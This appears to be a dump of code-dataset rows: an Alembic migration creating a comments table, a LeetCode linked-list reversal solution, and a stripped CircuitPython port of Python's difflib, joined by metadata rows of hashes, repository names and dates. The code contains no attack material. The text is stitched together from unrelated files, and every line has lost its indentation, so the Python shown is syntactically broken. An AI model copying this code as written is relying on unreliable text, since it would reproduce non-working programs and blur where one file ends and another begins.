import sqlalchemy as sa
# revision identifiers, used by Alembic.
revision = '27bb9f2d78c9'
down_revision = '423700be3811'
branch_labels = None
depends_on = None
def upgrade():
# ### commands auto generated by Alembic - please adjust! ###
op.create_table('comments',
sa.Column('id', sa.Integer(), nullable=False),
sa.Column('body', sa.Text(), nullable=True),
sa.Column('timestamp', sa.DateTime(), nullable=True),
sa.Column('body_html', sa.Text(), nullable=True),
sa.Column('disabled', sa.Boolean(), nullable=True),
sa.Column('author_id', sa.Integer(), nullable=True),
sa.Column('post_id', sa.Integer(), nullable=True),
sa.ForeignKeyConstraint(['author_id'], ['users.id'], ),
sa.ForeignKeyConstraint(['post_id'], ['posts.id'], ),
sa.PrimaryKeyConstraint('id')
)
op.create_index(op.f('ix_comments_timestamp'), 'comments', ['timestamp'], unique=False)
# ### end Alembic commands ###
def downgrade():
# ### commands auto generated by Alembic - please adjust! ###
op.drop_index(op.f('ix_comments_timestamp'), table_name='comments')
op.drop_table('comments')
# ### end Alembic commands ###
| [
"[email protected]"
] | |
51d9c3dd96680680f656cff6802e31fde8dc50ba | e545395ef78b1e396076dddd726444be28576290 | /lt206.py | 7145b70e0597c724642d435c7a051ef382fce95d | [] | no_license | Francis1998/leetcode | bb38fe91145b57e657ec812bebd95d3e30be3b96 | 9fbab5fe97026f7fa6e7124321480a7e20d5b72a | refs/heads/master | 2023-04-22T02:45:57.223755 | 2021-05-08T12:47:23 | 2021-05-08T12:47:23 | 318,083,503 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 669 | py | # 转一个单链表。
# 示例:
# 输入: 1->2->3->4->5->NULL
# 输出: 5->4->3->2->1->NULL
# Definition for singly-linked list.
# class ListNode:
# def __init__(self, x):
# self.val = x
# self.next = None
class ListNode:
def __init__(self,x):
self.val = x
self.next = None
class Solution:
def reverseList(self, head: ListNode) -> ListNode:
tail = ListNode(0)
p_tail = tail
p = head
res = []
while p:
res.append(p.val)
p=p.next
for i in range(len(res)):
tail.next = ListNode(res.pop())
tail=tail.next
return p_tail.next | [
"[email protected]"
] | |
2b2cf283e10607104a1fb29f226644d2bf770d7c | 8957f0b42ba945399a2eeb71f796c11c9eb35b06 | /stripped/difflib.py | eeb579a9d6c6d3107ab1db1787d6193e62a92920 | [] | no_license | notro/tmp_CircuitPython_stdlib | 4de177cbb45b2209f07171c27f844c7d377dffc9 | 641727294039a9441c35ba1a1d22de403664b710 | refs/heads/master | 2020-03-27T18:26:33.544047 | 2019-02-15T20:49:34 | 2019-02-15T20:49:34 | 146,922,496 | 1 | 1 | null | null | null | null | UTF-8 | Python | false | false | 80,226 | py | """
Module difflib -- helpers for computing deltas between objects.
Function get_close_matches(word, possibilities, n=3, cutoff=0.6):
Use SequenceMatcher to return list of the best "good enough" matches.
Function context_diff(a, b):
For two lists of strings, return a delta in context diff format.
Function ndiff(a, b):
Return a delta: the difference between `a` and `b` (lists of strings).
Function restore(delta, which):
Return one of the two sequences that generated an ndiff delta.
Function unified_diff(a, b):
For two lists of strings, return a delta in unified diff format.
Class SequenceMatcher:
A flexible class for comparing pairs of sequences of any type.
Class Differ:
For producing human-readable deltas from sequences of lines of text.
Class HtmlDiff:
For producing HTML side by side comparison with change highlights.
"""
from collections import namedtuple as _namedtuple
Match = _namedtuple('Match', 'a b size')
def _calculate_ratio(matches, length):
if length:
return 2.0 * matches / length
return 1.0
class SequenceMatcher:
"""
SequenceMatcher is a flexible class for comparing pairs of sequences of
any type, so long as the sequence elements are hashable. The basic
algorithm predates, and is a little fancier than, an algorithm
published in the late 1980's by Ratcliff and Obershelp under the
hyperbolic name "gestalt pattern matching". The basic idea is to find
the longest contiguous matching subsequence that contains no "junk"
elements (R-O doesn't address junk). The same idea is then applied
recursively to the pieces of the sequences to the left and to the right
of the matching subsequence. This does not yield minimal edit
sequences, but does tend to yield matches that "look right" to people.
SequenceMatcher tries to compute a "human-friendly diff" between two
sequences. Unlike e.g. UNIX(tm) diff, the fundamental notion is the
longest *contiguous* & junk-free matching subsequence. That's what
catches peoples' eyes. The Windows(tm) windiff has another interesting
notion, pairing up elements that appear uniquely in each sequence.
That, and the method here, appear to yield more intuitive difference
reports than does diff. This method appears to be the least vulnerable
to synching up on blocks of "junk lines", though (like blank lines in
ordinary text files, or maybe "<P>" lines in HTML files). That may be
because this is the only method of the 3 that has a *concept* of
"junk" <wink>.
Example, comparing two strings, and considering blanks to be "junk":
>>> s = SequenceMatcher(lambda x: x == " ",
... "private Thread currentThread;",
... "private volatile Thread currentThread;")
>>>
.ratio() returns a float in [0, 1], measuring the "similarity" of the
sequences. As a rule of thumb, a .ratio() value over 0.6 means the
sequences are close matches:
>>> print(round(s.ratio(), 3))
0.866
>>>
If you're only interested in where the sequences match,
.get_matching_blocks() is handy:
>>> for block in s.get_matching_blocks():
... print("a[%d] and b[%d] match for %d elements" % block)
a[0] and b[0] match for 8 elements
a[8] and b[17] match for 21 elements
a[29] and b[38] match for 0 elements
Note that the last tuple returned by .get_matching_blocks() is always a
dummy, (len(a), len(b), 0), and this is the only case in which the last
tuple element (number of elements matched) is 0.
If you want to know how to change the first sequence into the second,
use .get_opcodes():
>>> for opcode in s.get_opcodes():
... print("%6s a[%d:%d] b[%d:%d]" % opcode)
equal a[0:8] b[0:8]
insert a[8:8] b[8:17]
equal a[8:29] b[17:38]
See the Differ class for a fancy human-friendly file differencer, which
uses SequenceMatcher both to compare sequences of lines, and to compare
sequences of characters within similar (near-matching) lines.
See also function get_close_matches() in this module, which shows how
simple code building on SequenceMatcher can be used to do useful work.
Timing: Basic R-O is cubic time worst case and quadratic time expected
case. SequenceMatcher is quadratic time for the worst case and has
expected-case behavior dependent in a complicated way on how many
elements the sequences have in common; best case time is linear.
Methods:
__init__(isjunk=None, a='', b='')
Construct a SequenceMatcher.
set_seqs(a, b)
Set the two sequences to be compared.
set_seq1(a)
Set the first sequence to be compared.
set_seq2(b)
Set the second sequence to be compared.
find_longest_match(alo, ahi, blo, bhi)
Find longest matching block in a[alo:ahi] and b[blo:bhi].
get_matching_blocks()
Return list of triples describing matching subsequences.
get_opcodes()
Return list of 5-tuples describing how to turn a into b.
ratio()
Return a measure of the sequences' similarity (float in [0,1]).
quick_ratio()
Return an upper bound on .ratio() relatively quickly.
real_quick_ratio()
Return an upper bound on ratio() very quickly.
"""
def __init__(self, isjunk=None, a='', b='', autojunk=True):
"""Construct a SequenceMatcher.
Optional arg isjunk is None (the default), or a one-argument
function that takes a sequence element and returns true iff the
element is junk. None is equivalent to passing "lambda x: 0", i.e.
no elements are considered to be junk. For example, pass
lambda x: x in " \\t"
if you're comparing lines as sequences of characters, and don't
want to synch up on blanks or hard tabs.
Optional arg a is the first of two sequences to be compared. By
default, an empty string. The elements of a must be hashable. See
also .set_seqs() and .set_seq1().
Optional arg b is the second of two sequences to be compared. By
default, an empty string. The elements of b must be hashable. See
also .set_seqs() and .set_seq2().
Optional arg autojunk should be set to False to disable the
"automatic junk heuristic" that treats popular elements as junk
(see module documentation for more information).
"""
# Members:
# a
# first sequence
# b
# second sequence; differences are computed as "what do
# we need to do to 'a' to change it into 'b'?"
# b2j
# for x in b, b2j[x] is a list of the indices (into b)
# at which x appears; junk and popular elements do not appear
# fullbcount
# for x in b, fullbcount[x] == the number of times x
# appears in b; only materialized if really needed (used
# only for computing quick_ratio())
# matching_blocks
# a list of (i, j, k) triples, where a[i:i+k] == b[j:j+k];
# ascending & non-overlapping in i and in j; terminated by
# a dummy (len(a), len(b), 0) sentinel
# opcodes
# a list of (tag, i1, i2, j1, j2) tuples, where tag is
# one of
# 'replace' a[i1:i2] should be replaced by b[j1:j2]
# 'delete' a[i1:i2] should be deleted
# 'insert' b[j1:j2] should be inserted
# 'equal' a[i1:i2] == b[j1:j2]
# isjunk
# a user-supplied function taking a sequence element and
# returning true iff the element is "junk" -- this has
# subtle but helpful effects on the algorithm, which I'll
# get around to writing up someday <0.9 wink>.
# DON'T USE! Only __chain_b uses this. Use "in self.bjunk".
# bjunk
# the items in b for which isjunk is True.
# bpopular
# nonjunk items in b treated as junk by the heuristic (if used).
self.isjunk = isjunk
self.a = self.b = None
self.autojunk = autojunk
self.set_seqs(a, b)
def set_seqs(self, a, b):
"""Set the two sequences to be compared.
>>> s = SequenceMatcher()
>>> s.set_seqs("abcd", "bcde")
>>> s.ratio()
0.75
"""
self.set_seq1(a)
self.set_seq2(b)
def set_seq1(self, a):
"""Set the first sequence to be compared.
The second sequence to be compared is not changed.
>>> s = SequenceMatcher(None, "abcd", "bcde")
>>> s.ratio()
0.75
>>> s.set_seq1("bcde")
>>> s.ratio()
1.0
>>>
SequenceMatcher computes and caches detailed information about the
second sequence, so if you want to compare one sequence S against
many sequences, use .set_seq2(S) once and call .set_seq1(x)
repeatedly for each of the other sequences.
See also set_seqs() and set_seq2().
"""
if a is self.a:
return
self.a = a
self.matching_blocks = self.opcodes = None
def set_seq2(self, b):
"""Set the second sequence to be compared.
The first sequence to be compared is not changed.
>>> s = SequenceMatcher(None, "abcd", "bcde")
>>> s.ratio()
0.75
>>> s.set_seq2("abcd")
>>> s.ratio()
1.0
>>>
SequenceMatcher computes and caches detailed information about the
second sequence, so if you want to compare one sequence S against
many sequences, use .set_seq2(S) once and call .set_seq1(x)
repeatedly for each of the other sequences.
See also set_seqs() and set_seq1().
"""
if b is self.b:
return
self.b = b
self.matching_blocks = self.opcodes = None
self.fullbcount = None
self.__chain_b()
# For each element x in b, set b2j[x] to a list of the indices in
# b where x appears; the indices are in increasing order; note that
# the number of times x appears in b is len(b2j[x]) ...
# when self.isjunk is defined, junk elements don't show up in this
# map at all, which stops the central find_longest_match method
# from starting any matching block at a junk element ...
# b2j also does not contain entries for "popular" elements, meaning
# elements that account for more than 1 + 1% of the total elements, and
# when the sequence is reasonably large (>= 200 elements); this can
# be viewed as an adaptive notion of semi-junk, and yields an enormous
# speedup when, e.g., comparing program files with hundreds of
# instances of "return NULL;" ...
# note that this is only called when b changes; so for cross-product
# kinds of matches, it's best to call set_seq2 once, then set_seq1
# repeatedly
def __chain_b(self):
# Because isjunk is a user-defined (not C) function, and we test
# for junk a LOT, it's important to minimize the number of calls.
# Before the tricks described here, __chain_b was by far the most
# time-consuming routine in the whole module! If anyone sees
# Jim Roskind, thank him again for profile.py -- I never would
# have guessed that.
# The first trick is to build b2j ignoring the possibility
# of junk. I.e., we don't call isjunk at all yet. Throwing
# out the junk later is much cheaper than building b2j "right"
# from the start.
b = self.b
self.b2j = b2j = {}
for i, elt in enumerate(b):
indices = b2j.setdefault(elt, [])
indices.append(i)
# Purge junk elements
self.bjunk = junk = set()
isjunk = self.isjunk
if isjunk:
for elt in b2j.keys():
if isjunk(elt):
junk.add(elt)
for elt in junk: # separate loop avoids separate list of keys
del b2j[elt]
# Purge popular elements that are not junk
self.bpopular = popular = set()
n = len(b)
if self.autojunk and n >= 200:
ntest = n // 100 + 1
for elt, idxs in b2j.items():
if len(idxs) > ntest:
popular.add(elt)
for elt in popular: # ditto; as fast for 1% deletion
del b2j[elt]
def find_longest_match(self, alo, ahi, blo, bhi):
"""Find longest matching block in a[alo:ahi] and b[blo:bhi].
If isjunk is not defined:
Return (i,j,k) such that a[i:i+k] is equal to b[j:j+k], where
alo <= i <= i+k <= ahi
blo <= j <= j+k <= bhi
and for all (i',j',k') meeting those conditions,
k >= k'
i <= i'
and if i == i', j <= j'
In other words, of all maximal matching blocks, return one that
starts earliest in a, and of all those maximal matching blocks that
start earliest in a, return the one that starts earliest in b.
>>> s = SequenceMatcher(None, " abcd", "abcd abcd")
>>> s.find_longest_match(0, 5, 0, 9)
Match(a=0, b=4, size=5)
If isjunk is defined, first the longest matching block is
determined as above, but with the additional restriction that no
junk element appears in the block. Then that block is extended as
far as possible by matching (only) junk elements on both sides. So
the resulting block never matches on junk except as identical junk
happens to be adjacent to an "interesting" match.
Here's the same example as before, but considering blanks to be
junk. That prevents " abcd" from matching the " abcd" at the tail
end of the second sequence directly. Instead only the "abcd" can
match, and matches the leftmost "abcd" in the second sequence:
>>> s = SequenceMatcher(lambda x: x==" ", " abcd", "abcd abcd")
>>> s.find_longest_match(0, 5, 0, 9)
Match(a=1, b=0, size=4)
If no blocks match, return (alo, blo, 0).
>>> s = SequenceMatcher(None, "ab", "c")
>>> s.find_longest_match(0, 2, 0, 1)
Match(a=0, b=0, size=0)
"""
# CAUTION: stripping common prefix or suffix would be incorrect.
# E.g.,
# ab
# acab
# Longest matching block is "ab", but if common prefix is
# stripped, it's "a" (tied with "b"). UNIX(tm) diff does so
# strip, so ends up claiming that ab is changed to acab by
# inserting "ca" in the middle. That's minimal but unintuitive:
# "it's obvious" that someone inserted "ac" at the front.
# Windiff ends up at the same place as diff, but by pairing up
# the unique 'b's and then matching the first two 'a's.
a, b, b2j, isbjunk = self.a, self.b, self.b2j, self.bjunk.__contains__
besti, bestj, bestsize = alo, blo, 0
# find longest junk-free match
# during an iteration of the loop, j2len[j] = length of longest
# junk-free match ending with a[i-1] and b[j]
j2len = {}
nothing = []
for i in range(alo, ahi):
# look at all instances of a[i] in b; note that because
# b2j has no junk keys, the loop is skipped if a[i] is junk
j2lenget = j2len.get
newj2len = {}
for j in b2j.get(a[i], nothing):
# a[i] matches b[j]
if j < blo:
continue
if j >= bhi:
break
k = newj2len[j] = j2lenget(j-1, 0) + 1
if k > bestsize:
besti, bestj, bestsize = i-k+1, j-k+1, k
j2len = newj2len
# Extend the best by non-junk elements on each end. In particular,
# "popular" non-junk elements aren't in b2j, which greatly speeds
# the inner loop above, but also means "the best" match so far
# doesn't contain any junk *or* popular non-junk elements.
while besti > alo and bestj > blo and \
not isbjunk(b[bestj-1]) and \
a[besti-1] == b[bestj-1]:
besti, bestj, bestsize = besti-1, bestj-1, bestsize+1
while besti+bestsize < ahi and bestj+bestsize < bhi and \
not isbjunk(b[bestj+bestsize]) and \
a[besti+bestsize] == b[bestj+bestsize]:
bestsize += 1
# Now that we have a wholly interesting match (albeit possibly
# empty!), we may as well suck up the matching junk on each
# side of it too. Can't think of a good reason not to, and it
# saves post-processing the (possibly considerable) expense of
# figuring out what to do with it. In the case of an empty
# interesting match, this is clearly the right thing to do,
# because no other kind of match is possible in the regions.
while besti > alo and bestj > blo and \
isbjunk(b[bestj-1]) and \
a[besti-1] == b[bestj-1]:
besti, bestj, bestsize = besti-1, bestj-1, bestsize+1
while besti+bestsize < ahi and bestj+bestsize < bhi and \
isbjunk(b[bestj+bestsize]) and \
a[besti+bestsize] == b[bestj+bestsize]:
bestsize = bestsize + 1
return Match(besti, bestj, bestsize)
def get_matching_blocks(self):
"""Return list of triples describing matching subsequences.
Each triple is of the form (i, j, n), and means that
a[i:i+n] == b[j:j+n]. The triples are monotonically increasing in
i and in j. New in Python 2.5, it's also guaranteed that if
(i, j, n) and (i', j', n') are adjacent triples in the list, and
the second is not the last triple in the list, then i+n != i' or
j+n != j'. IOW, adjacent triples never describe adjacent equal
blocks.
The last triple is a dummy, (len(a), len(b), 0), and is the only
triple with n==0.
>>> s = SequenceMatcher(None, "abxcd", "abcd")
>>> list(s.get_matching_blocks())
[Match(a=0, b=0, size=2), Match(a=3, b=2, size=2), Match(a=5, b=4, size=0)]
"""
if self.matching_blocks is not None:
return self.matching_blocks
la, lb = len(self.a), len(self.b)
# This is most naturally expressed as a recursive algorithm, but
# at least one user bumped into extreme use cases that exceeded
# the recursion limit on their box. So, now we maintain a list
# ('queue`) of blocks we still need to look at, and append partial
# results to `matching_blocks` in a loop; the matches are sorted
# at the end.
queue = [(0, la, 0, lb)]
matching_blocks = []
while queue:
alo, ahi, blo, bhi = queue.pop()
i, j, k = x = self.find_longest_match(alo, ahi, blo, bhi)
# a[alo:i] vs b[blo:j] unknown
# a[i:i+k] same as b[j:j+k]
# a[i+k:ahi] vs b[j+k:bhi] unknown
if k: # if k is 0, there was no matching block
matching_blocks.append(x)
if alo < i and blo < j:
queue.append((alo, i, blo, j))
if i+k < ahi and j+k < bhi:
queue.append((i+k, ahi, j+k, bhi))
matching_blocks.sort()
# It's possible that we have adjacent equal blocks in the
# matching_blocks list now. Starting with 2.5, this code was added
# to collapse them.
i1 = j1 = k1 = 0
non_adjacent = []
for i2, j2, k2 in matching_blocks:
# Is this block adjacent to i1, j1, k1?
if i1 + k1 == i2 and j1 + k1 == j2:
# Yes, so collapse them -- this just increases the length of
# the first block by the length of the second, and the first
# block so lengthened remains the block to compare against.
k1 += k2
else:
# Not adjacent. Remember the first block (k1==0 means it's
# the dummy we started with), and make the second block the
# new block to compare against.
if k1:
non_adjacent.append((i1, j1, k1))
i1, j1, k1 = i2, j2, k2
if k1:
non_adjacent.append((i1, j1, k1))
non_adjacent.append( (la, lb, 0) )
class _M: ###
def __init__(self, obj): ###
self.obj = obj ###
def __call__(self, iterable): ###
return self.obj(*iterable) ###
self.matching_blocks = list(map(_M(Match), non_adjacent)) ###
return self.matching_blocks
def get_opcodes(self):
"""Return list of 5-tuples describing how to turn a into b.
Each tuple is of the form (tag, i1, i2, j1, j2). The first tuple
has i1 == j1 == 0, and remaining tuples have i1 == the i2 from the
tuple preceding it, and likewise for j1 == the previous j2.
The tags are strings, with these meanings:
'replace': a[i1:i2] should be replaced by b[j1:j2]
'delete': a[i1:i2] should be deleted.
Note that j1==j2 in this case.
'insert': b[j1:j2] should be inserted at a[i1:i1].
Note that i1==i2 in this case.
'equal': a[i1:i2] == b[j1:j2]
>>> a = "qabxcd"
>>> b = "abycdf"
>>> s = SequenceMatcher(None, a, b)
>>> for tag, i1, i2, j1, j2 in s.get_opcodes():
... print(("%7s a[%d:%d] (%s) b[%d:%d] (%s)" %
... (tag, i1, i2, a[i1:i2], j1, j2, b[j1:j2])))
delete a[0:1] (q) b[0:0] ()
equal a[1:3] (ab) b[0:2] (ab)
replace a[3:4] (x) b[2:3] (y)
equal a[4:6] (cd) b[3:5] (cd)
insert a[6:6] () b[5:6] (f)
"""
if self.opcodes is not None:
return self.opcodes
i = j = 0
self.opcodes = answer = []
for ai, bj, size in self.get_matching_blocks():
# invariant: we've pumped out correct diffs to change
# a[:i] into b[:j], and the next matching block is
# a[ai:ai+size] == b[bj:bj+size]. So we need to pump
# out a diff to change a[i:ai] into b[j:bj], pump out
# the matching block, and move (i,j) beyond the match
tag = ''
if i < ai and j < bj:
tag = 'replace'
elif i < ai:
tag = 'delete'
elif j < bj:
tag = 'insert'
if tag:
answer.append( (tag, i, ai, j, bj) )
i, j = ai+size, bj+size
# the list of matching blocks is terminated by a
# sentinel with size 0
if size:
answer.append( ('equal', ai, i, bj, j) )
return answer
def get_grouped_opcodes(self, n=3):
""" Isolate change clusters by eliminating ranges with no changes.
Return a generator of groups with up to n lines of context.
Each group is in the same format as returned by get_opcodes().
>>> from pprint import pprint
>>> a = list(map(str, range(1,40)))
>>> b = a[:]
>>> b[8:8] = ['i'] # Make an insertion
>>> b[20] += 'x' # Make a replacement
>>> b[23:28] = [] # Make a deletion
>>> b[30] += 'y' # Make another replacement
>>> pprint(list(SequenceMatcher(None,a,b).get_grouped_opcodes()))
[[('equal', 5, 8, 5, 8), ('insert', 8, 8, 8, 9), ('equal', 8, 11, 9, 12)],
[('equal', 16, 19, 17, 20),
('replace', 19, 20, 20, 21),
('equal', 20, 22, 21, 23),
('delete', 22, 27, 23, 23),
('equal', 27, 30, 23, 26)],
[('equal', 31, 34, 27, 30),
('replace', 34, 35, 30, 31),
('equal', 35, 38, 31, 34)]]
"""
codes = self.get_opcodes()
if not codes:
codes = [("equal", 0, 1, 0, 1)]
# Fixup leading and trailing groups if they show no changes.
if codes[0][0] == 'equal':
tag, i1, i2, j1, j2 = codes[0]
codes[0] = tag, max(i1, i2-n), i2, max(j1, j2-n), j2
if codes[-1][0] == 'equal':
tag, i1, i2, j1, j2 = codes[-1]
codes[-1] = tag, i1, min(i2, i1+n), j1, min(j2, j1+n)
nn = n + n
group = []
for tag, i1, i2, j1, j2 in codes:
# End the current group and start a new one whenever
# there is a large range with no changes.
if tag == 'equal' and i2-i1 > nn:
group.append((tag, i1, min(i2, i1+n), j1, min(j2, j1+n)))
yield group
group = []
i1, j1 = max(i1, i2-n), max(j1, j2-n)
group.append((tag, i1, i2, j1 ,j2))
if group and not (len(group)==1 and group[0][0] == 'equal'):
yield group
def ratio(self):
"""Return a measure of the sequences' similarity (float in [0,1]).
Where T is the total number of elements in both sequences, and
M is the number of matches, this is 2.0*M / T.
Note that this is 1 if the sequences are identical, and 0 if
they have nothing in common.
.ratio() is expensive to compute if you haven't already computed
.get_matching_blocks() or .get_opcodes(), in which case you may
want to try .quick_ratio() or .real_quick_ratio() first to get an
upper bound.
>>> s = SequenceMatcher(None, "abcd", "bcde")
>>> s.ratio()
0.75
>>> s.quick_ratio()
0.75
>>> s.real_quick_ratio()
1.0
"""
matches = sum(triple[-1] for triple in self.get_matching_blocks())
return _calculate_ratio(matches, len(self.a) + len(self.b))
def quick_ratio(self):
"""Return an upper bound on ratio() relatively quickly.
This isn't defined beyond that it is an upper bound on .ratio(), and
is faster to compute.
"""
# viewing a and b as multisets, set matches to the cardinality
# of their intersection; this counts the number of matches
# without regard to order, so is clearly an upper bound
if self.fullbcount is None:
self.fullbcount = fullbcount = {}
for elt in self.b:
fullbcount[elt] = fullbcount.get(elt, 0) + 1
fullbcount = self.fullbcount
# avail[x] is the number of times x appears in 'b' less the
# number of times we've seen it in 'a' so far ... kinda
avail = {}
matches = 0 ###
for elt in self.a:
if elt in avail: ###
numb = avail[elt]
else:
numb = fullbcount.get(elt, 0)
avail[elt] = numb - 1
if numb > 0:
matches = matches + 1
return _calculate_ratio(matches, len(self.a) + len(self.b))
def real_quick_ratio(self):
"""Return an upper bound on ratio() very quickly.
This isn't defined beyond that it is an upper bound on .ratio(), and
is faster to compute than either .ratio() or .quick_ratio().
"""
la, lb = len(self.a), len(self.b)
# can't have more matches than the number of elements in the
# shorter sequence
return _calculate_ratio(min(la, lb), la + lb)
def _count_leading(line, ch):
"""
Return number of `ch` characters at the start of `line`.
Example:
>>> _count_leading(' abc', ' ')
3
"""
i, n = 0, len(line)
while i < n and line[i] == ch:
i += 1
return i
class Differ:
r"""
Differ is a class for comparing sequences of lines of text, and
producing human-readable differences or deltas. Differ uses
SequenceMatcher both to compare sequences of lines, and to compare
sequences of characters within similar (near-matching) lines.
Each line of a Differ delta begins with a two-letter code:
'- ' line unique to sequence 1
'+ ' line unique to sequence 2
' ' line common to both sequences
'? ' line not present in either input sequence
Lines beginning with '? ' attempt to guide the eye to intraline
differences, and were not present in either input sequence. These lines
can be confusing if the sequences contain tab characters.
Note that Differ makes no claim to produce a *minimal* diff. To the
contrary, minimal diffs are often counter-intuitive, because they synch
up anywhere possible, sometimes accidental matches 100 pages apart.
Restricting synch points to contiguous matches preserves some notion of
locality, at the occasional cost of producing a longer diff.
Example: Comparing two texts.
First we set up the texts, sequences of individual single-line strings
ending with newlines (such sequences can also be obtained from the
`readlines()` method of file-like objects):
>>> text1 = ''' 1. Beautiful is better than ugly.
... 2. Explicit is better than implicit.
... 3. Simple is better than complex.
... 4. Complex is better than complicated.
... '''.splitlines(keepends=True)
>>> len(text1)
4
>>> text1[0][-1]
'\n'
>>> text2 = ''' 1. Beautiful is better than ugly.
... 3. Simple is better than complex.
... 4. Complicated is better than complex.
... 5. Flat is better than nested.
... '''.splitlines(keepends=True)
Next we instantiate a Differ object:
>>> d = Differ()
Note that when instantiating a Differ object we may pass functions to
filter out line and character 'junk'. See Differ.__init__ for details.
Finally, we compare the two:
>>> result = list(d.compare(text1, text2))
'result' is a list of strings, so let's pretty-print it:
>>> from pprint import pprint as _pprint
>>> _pprint(result)
[' 1. Beautiful is better than ugly.\n',
'- 2. Explicit is better than implicit.\n',
'- 3. Simple is better than complex.\n',
'+ 3. Simple is better than complex.\n',
'? ++\n',
'- 4. Complex is better than complicated.\n',
'? ^ ---- ^\n',
'+ 4. Complicated is better than complex.\n',
'? ++++ ^ ^\n',
'+ 5. Flat is better than nested.\n']
As a single multi-line string it looks like this:
>>> print(''.join(result), end="")
1. Beautiful is better than ugly.
- 2. Explicit is better than implicit.
- 3. Simple is better than complex.
+ 3. Simple is better than complex.
? ++
- 4. Complex is better than complicated.
? ^ ---- ^
+ 4. Complicated is better than complex.
? ++++ ^ ^
+ 5. Flat is better than nested.
Methods:
__init__(linejunk=None, charjunk=None)
Construct a text differencer, with optional filters.
compare(a, b)
Compare two sequences of lines; generate the resulting delta.
"""
def __init__(self, linejunk=None, charjunk=None):
"""
Construct a text differencer, with optional filters.
The two optional keyword parameters are for filter functions:
- `linejunk`: A function that should accept a single string argument,
and return true iff the string is junk. The module-level function
`IS_LINE_JUNK` may be used to filter out lines without visible
characters, except for at most one splat ('#'). It is recommended
to leave linejunk None; as of Python 2.3, the underlying
SequenceMatcher class has grown an adaptive notion of "noise" lines
that's better than any static definition the author has ever been
able to craft.
- `charjunk`: A function that should accept a string of length 1. The
module-level function `IS_CHARACTER_JUNK` may be used to filter out
whitespace characters (a blank or tab; **note**: bad idea to include
newline in this!). Use of IS_CHARACTER_JUNK is recommended.
"""
self.linejunk = linejunk
self.charjunk = charjunk
def compare(self, a, b):
r"""
Compare two sequences of lines; generate the resulting delta.
Each sequence must contain individual single-line strings ending with
newlines. Such sequences can be obtained from the `readlines()` method
of file-like objects. The delta generated also consists of newline-
terminated strings, ready to be printed as-is via the writeline()
method of a file-like object.
Example:
>>> print(''.join(Differ().compare('one\ntwo\nthree\n'.splitlines(True),
... 'ore\ntree\nemu\n'.splitlines(True))),
... end="")
- one
? ^
+ ore
? ^
- two
- three
? -
+ tree
+ emu
"""
cruncher = SequenceMatcher(self.linejunk, a, b)
for tag, alo, ahi, blo, bhi in cruncher.get_opcodes():
if tag == 'replace':
g = self._fancy_replace(a, alo, ahi, b, blo, bhi)
elif tag == 'delete':
g = self._dump('-', a, alo, ahi)
elif tag == 'insert':
g = self._dump('+', b, blo, bhi)
elif tag == 'equal':
g = self._dump(' ', a, alo, ahi)
else:
raise ValueError('unknown tag %r' % (tag,))
yield from g
def _dump(self, tag, x, lo, hi):
"""Generate comparison results for a same-tagged range."""
for i in range(lo, hi):
yield '%s %s' % (tag, x[i])
def _plain_replace(self, a, alo, ahi, b, blo, bhi):
assert alo < ahi and blo < bhi
# dump the shorter block first -- reduces the burden on short-term
# memory if the blocks are of very different sizes
if bhi - blo < ahi - alo:
first = self._dump('+', b, blo, bhi)
second = self._dump('-', a, alo, ahi)
else:
first = self._dump('-', a, alo, ahi)
second = self._dump('+', b, blo, bhi)
for g in first, second:
yield from g
def _fancy_replace(self, a, alo, ahi, b, blo, bhi):
r"""
When replacing one block of lines with another, search the blocks
for *similar* lines; the best-matching pair (if any) is used as a
synch point, and intraline difference marking is done on the
similar pair. Lots of work, but often worth it.
Example:
>>> d = Differ()
>>> results = d._fancy_replace(['abcDefghiJkl\n'], 0, 1,
... ['abcdefGhijkl\n'], 0, 1)
>>> print(''.join(results), end="")
- abcDefghiJkl
? ^ ^ ^
+ abcdefGhijkl
? ^ ^ ^
"""
# don't synch up unless the lines have a similarity score of at
# least cutoff; best_ratio tracks the best score seen so far
best_ratio, cutoff = 0.74, 0.75
cruncher = SequenceMatcher(self.charjunk)
eqi, eqj = None, None # 1st indices of equal lines (if any)
# search for the pair that matches best without being identical
# (identical lines must be junk lines, & we don't want to synch up
# on junk -- unless we have to)
for j in range(blo, bhi):
bj = b[j]
cruncher.set_seq2(bj)
for i in range(alo, ahi):
ai = a[i]
if ai == bj:
if eqi is None:
eqi, eqj = i, j
continue
cruncher.set_seq1(ai)
# computing similarity is expensive, so use the quick
# upper bounds first -- have seen this speed up messy
# compares by a factor of 3.
# note that ratio() is only expensive to compute the first
# time it's called on a sequence pair; the expensive part
# of the computation is cached by cruncher
if cruncher.real_quick_ratio() > best_ratio and \
cruncher.quick_ratio() > best_ratio and \
cruncher.ratio() > best_ratio:
best_ratio, best_i, best_j = cruncher.ratio(), i, j
if best_ratio < cutoff:
# no non-identical "pretty close" pair
if eqi is None:
# no identical pair either -- treat it as a straight replace
yield from self._plain_replace(a, alo, ahi, b, blo, bhi)
return
# no close pair, but an identical pair -- synch up on that
best_i, best_j, best_ratio = eqi, eqj, 1.0
else:
# there's a close pair, so forget the identical pair (if any)
eqi = None
# a[best_i] very similar to b[best_j]; eqi is None iff they're not
# identical
# pump out diffs from before the synch point
yield from self._fancy_helper(a, alo, best_i, b, blo, best_j)
# do intraline marking on the synch pair
aelt, belt = a[best_i], b[best_j]
if eqi is None:
# pump out a '-', '?', '+', '?' quad for the synched lines
atags = btags = ""
cruncher.set_seqs(aelt, belt)
for tag, ai1, ai2, bj1, bj2 in cruncher.get_opcodes():
la, lb = ai2 - ai1, bj2 - bj1
if tag == 'replace':
atags += '^' * la
btags += '^' * lb
elif tag == 'delete':
atags += '-' * la
elif tag == 'insert':
btags += '+' * lb
elif tag == 'equal':
atags += ' ' * la
btags += ' ' * lb
else:
raise ValueError('unknown tag %r' % (tag,))
yield from self._qformat(aelt, belt, atags, btags)
else:
# the synch pair is identical
yield ' ' + aelt
# pump out diffs from after the synch point
yield from self._fancy_helper(a, best_i+1, ahi, b, best_j+1, bhi)
def _fancy_helper(self, a, alo, ahi, b, blo, bhi):
g = []
if alo < ahi:
if blo < bhi:
g = self._fancy_replace(a, alo, ahi, b, blo, bhi)
else:
g = self._dump('-', a, alo, ahi)
elif blo < bhi:
g = self._dump('+', b, blo, bhi)
yield from g
def _qformat(self, aline, bline, atags, btags):
r"""
Format "?" output and deal with leading tabs.
Example:
>>> d = Differ()
>>> results = d._qformat('\tabcDefghiJkl\n', '\tabcdefGhijkl\n',
... ' ^ ^ ^ ', ' ^ ^ ^ ')
>>> for line in results: print(repr(line))
...
'- \tabcDefghiJkl\n'
